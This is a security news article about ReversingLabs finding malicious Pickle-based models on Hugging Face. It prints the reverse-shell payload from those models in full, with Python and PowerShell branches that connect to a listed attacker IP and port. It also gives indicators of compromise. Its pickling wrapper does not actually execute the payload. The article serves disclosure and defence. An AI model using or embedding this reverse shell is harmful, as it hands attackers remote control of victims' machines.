Developers Beware! Malicious ML Models Detected on Hugging Face Platform

In a concerning development for the machine learning community, researchers at ReversingLabs have identified malicious models on the popular Hugging Face platform. These models exploit vulnerabilities in the Pickle file serialization format, a widely used method for storing and sharing machine learning data. The discovery highlights the growing security risks associated with collaborative AI platforms […] The post Developers Beware! Malicious ML Models Detected on Hugging Face Platform appeared first on Cyber Security News.

Feb 7, 2025 - 13:31

Developers Beware! Malicious ML Models Detected on Hugging Face Platform

In a concerning development for the machine learning community, researchers at ReversingLabs have identified malicious models on the popular Hugging Face platform.

These models exploit vulnerabilities in the Pickle file serialization format, a widely used method for storing and sharing machine learning data.

The discovery highlights the growing security risks associated with collaborative AI platforms and underscores the need for vigilance among developers.

Pickle is a Python module used for serializing and deserializing Python objects.

While convenient, it poses significant security risks due to its ability to execute arbitrary Python code during deserialization.

Researchers at Reversing Labs noted that this vulnerability can be exploited by attackers to embed malicious payloads within seemingly innocuous ML models.

# Example of a malicious Pickle file
import pickle

# Malicious payload
payload = """
RHOST="107.173.7.141";RPORT=4243;
from sys import platform
if platform != 'win32':
    import threading
    def a():
        import socket, pty, os
        s=socket.socket();s.connect((RHOST,RPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
    threading.Thread(target=a).start()
else:
    import os, socket, subprocess, threading, sys
    def s2p(s, p):
        while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
    def p2s(s, p):
        while True:s.send(p.stdout.read(1).encode())
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    while True:
        try: s.connect(("107.173.7.141", 4243)); break
        except: pass
    p=subprocess.Popen(["powershell.exe"],
                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)
    threading.Thread(target=s2p, args=[s,p], daemon=True).start()
    threading.Thread(target=p2s, args=[s,p], daemon=True).start()
    p.wait()
"""

# Serialize the payload
serialized_payload = pickle.dumps(payload)

# Save to a file
with open('malicious.pkl', 'wb') as f:
    f.write(serialized_payload)

The Discovery

ReversingLabs researchers identified two models on Hugging Face that contained malicious code, which they dubbed “nullifAl.”

These models were stored in PyTorch format, essentially compressed Pickle files. The malicious payload was inserted at the beginning of the Pickle stream, allowing it to execute before the file’s integrity was compromised, thus evading detection by Hugging Face’s security tools.

Malicious Hugging Face model discovered by ReversingLabs researchers (Source – Reversing Labs)

Another malicious Hugging Face model discovered by ReversingLabs researchers (Source – Reversing Labs)

The use of Pickle files on collaborative platforms like Hugging Face poses significant security risks.

Since Pickle allows arbitrary code execution, malicious models can be crafted to execute harmful commands on unsuspecting systems.

This vulnerability is exacerbated by the fact that many developers prioritize productivity over security, leading to widespread use of Pickle despite its risks.

Decompiled Pickle file with the malicious Python payload (Source – Reversing Labs)

Developers must remain vigilant and consider alternative, safer serialization formats.

Hugging Face has taken steps to enhance its security measures, but the inherent risks associated with Pickle files shows the need for ongoing vigilance and innovation in securing AI platforms.

Developers are advised to be cautious when using Pickle files and to monitor their systems for suspicious activity related to these IOCs.

Indicators of Compromise (IOCs)

Malicious IP Addresses: 107.173.7.141
Port Numbers: 4243
Malicious File Formats: Compressed Pickle files in PyTorch format.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try for Free

The post Developers Beware! Malicious ML Models Detected on Hugging Face Platform appeared first on Cyber Security News.